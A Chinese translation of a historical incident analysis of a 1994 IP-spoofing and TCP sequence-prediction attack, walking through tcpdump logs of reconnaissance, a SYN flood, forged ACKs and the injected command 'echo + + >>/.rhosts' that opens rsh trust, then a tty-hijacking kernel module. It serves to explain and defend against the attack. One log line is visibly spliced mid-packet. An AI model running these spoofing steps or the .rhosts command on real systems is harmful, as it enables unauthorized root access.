巧用IP序列攻击

　　在 John Markoff 的 1/23/95 NYT 中的文章,还有　CERT advisory　CA-95:01之中
提到很多关于 IP地址的欺骗（ IP　spoofing ）和hijacking攻击.这儿是我的一些技术
资料。希望它能帮助你明白这类攻击是怎么一回事。

　　这是两种截然不同的攻击手段.IP 源地址欺骗和 TCP 序列序列预报是为了获得那些
使用　X terminal　作为无盘工作站的初始的使用权。当 root 权限被获得时,一个已知
的到其他系统的连接就会被“可加载内核 STREAMS 模块”或　hijacked 。

　　这次攻击中的数据记录都是由 tcpdump 来完成的. 兴趣很明确(也很短!),有些日期
被遗漏了.我特别推荐 Steve Bellovin 的关于“IP　spoofing”的文章,他对 TCP 握手
描述的非常详细, 也提出了怎样阻止这种攻击手段.

　　我的设置是这样的:

　系　　　统 = 运行Solaris 1 提供 "X terminal"服务的 SPARC 工作站
x-terminal = 运行Solaris 1 提供 "X terminal"服务
目　　　标 = 攻击显然的目标

　　　　IP spoofing 攻击是从 14:09:32 PST on 12/25/94 开始的.首先的探测来自
toad.com (来自数据包的记录):

14:09:32 toad.com# finger -l @target
14:10:21 toad.com# finger -l @server
14:10:50 toad.com# finger -l root@server
14:11:07 toad.com# finger -l @x-terminal
14:11:38 toad.com# showmount -e x-terminal
14:11:49 toad.com# rpcinfo -p x-terminal
14:12:05 toad.com# finger -l root@x-terminal

　　这样的探测是为了查看在这些系统之中有什么信赖关系，借此可以发动 IP spoofing
攻击.从 showmount 和 rpcinfo 的源端口可以看出是 toad.com 的 root

　　六分钟之后, 我们收到了大量的 TCP SYN 请求(TCP 连接的请求)，是来自 130.92.6.97
到服务器上的 513 (login) 端口.这些 SYN 请求的目的就是堵塞513端口的连接队列，使其
成为半开连接状态，因此无法接受其它的新的连接请求.详细些就是，它是不会对那些SYN-ACK
请求发送TCP RST回应的。

　　[梦：关于此处，看看TCP连接的三次握手]

　　513 端口是一个“特权”(< IPPORT_RESERVED)端口 , server.login 可以被假定的源地
址安全的使用,是在UNIX上的"r-服务" (rsh, rlogin)进行地址spoofing攻击的。130.92.6.97
明显是没有反应的地址（对收到的数据包）:

14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096
14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096
14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096
14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096
14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096
14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096
14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096
14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096
14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096
14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096
14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096
14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096
14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972x-terminal.shell: R 1382726997:1382726997(0) win 0
14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096
14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S 2022720000:2022720000(0) ack 1382726998 win 4096
14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0) win 0
14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096
14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096
14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0
14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096
14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096
14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0
14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096
14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096
14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0) win 0
14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096
14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096
14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0
14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0) win 4096
14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096
14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0
14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096
14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096
14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0) win 0
14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096
14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096
14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0
14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096
14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096
14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0
14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096
14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096
14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0
14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096
14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096
14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0
14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096
14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096
14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0
14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096
14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096
14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0

　　注意每个x-terminal送出的 SYN-ACK 数据包通过 x-terminal 有个初始数列，并且都比前
一个来的大.

　　我们看到一个伪造的 SYN (连接请求), 是从 server.login 送到 x-terminal.shell 的。
设想服务器如果被x-terminal所信任, 那么 x-terminal 就可以利用了(甚至一些伪装的服务器)
请求了.

　　x-terminal 会对服务器回复一个 SYN-ACK, 只有 ACK 过的才可以打开连接.服务器会丢失
送到 server.login 的数据包，所以ACK 也要伪造.

　　通常情况下, SYN-ACK 的数列需要用来生成有效的 ACK. 虽然这样，攻击者可以预知序列
包含在 SYN-ACK 中，基于已知的x-terminal的 tcp 序列生成规律,下面还可以 用 ACK 来对付
那些没有看见的 SYN-ACK :

14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096
14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096

　　现在被 spoofing 的机器现在只有一种方法连接到x-terminal.shell服务器就是 server.login.
它可以维护连接 connection 和 send 请求可以通过完全ACK 掉。应该像下面这样:

14:18:37.265404 server.login > x-terminal.shell: P 0:2(2) ack 1 win 4096
14:18:37.775872 server.login > x-terminal.shell: P 2:7(5) ack 1 win 4096
14:18:38.287404 server.login > x-terminal.shell: P 7:32(25) ack 1 win 4096

相当于:

14:18:37 server# rsh x-terminal "echo + + >>/.rhosts"

从第一个 spoofed 的数据包共用了: < 16 秒的时间

欺骗的；连接已经被终止了:

14:18:41.347003 server.login > x-terminal.shell: . ack 2 win 4096
14:18:42.255978 server.login > x-terminal.shell: . ack 3 win 4096
14:18:43.165874 server.login > x-terminal.shell: F 32:32(0) ack 3 win 4096
14:18:52.179922 server.login > x-terminal.shell: R 1382727043:1382727043(0) win 4096
14:18:52.236452 server.login > x-terminal.shell: R 1382727044:1382727044(0) win 4096

我们现在看到 RST 释放了在 server.login 上的队列中的那些半连接和空连接:

14:18:52.298431 130.92.6.97.600 > server.login: R 1382726960:1382726960(0) win 4096
14:18:52.363877 130.92.6.97.601 > server.login: R 1382726961:1382726961(0) win 4096
14:18:52.416916 130.92.6.97.602 > server.login: R 1382726962:1382726962(0) win 4096
14:18:52.476873 130.92.6.97.603 > server.login: R 1382726963:1382726963(0) win 4096
14:18:52.536573 130.92.6.97.604 > server.login: R 1382726964:1382726964(0) win 4096
14:18:52.600899 130.92.6.97.605 > server.login: R 1382726965:1382726965(0) win 4096
14:18:52.660231 130.92.6.97.606 > server.login: R 1382726966:1382726966(0) win 4096
14:18:52.717495 130.92.6.97.607 > server.login: R 1382726967:1382726967(0) win 4096
14:18:52.776502 130.92.6.97.608 > server.login: R 1382726968:1382726968(0) win 4096
14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096
14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096
14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096
14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096
14:18:53.116850 130.92.6.97.613 > server.login: R 1382726973:1382726973(0) win 4096
14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096
14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096
14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096
14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096
14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096
14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096
14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096
14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096
14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096
14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096
14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096
14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096
14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096
14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096
14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096
14:18:54.097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096

server.login 又可以接受连接请求了.

通过IP地址spoofing 成果获得root权限后,一个叫做"tap-2.01"的内核模块被x-terminal
编译和安装:

x-terminal% modstat
Id Type Loadaddr Size B-major C-major Sysnum Mod Name
1 Pdrv ff050000 1000 59. tap/tap-2.01 alpha

x-terminal% ls -l /dev/tap
crwxrwxrwx 1 root 37, 59 Dec 25 14:40 /dev/tap

这是一个出现 内核 STREAMS 模块 ，可以防到已有的 STREAMS 堆栈和控制 tty device 上
面的用户.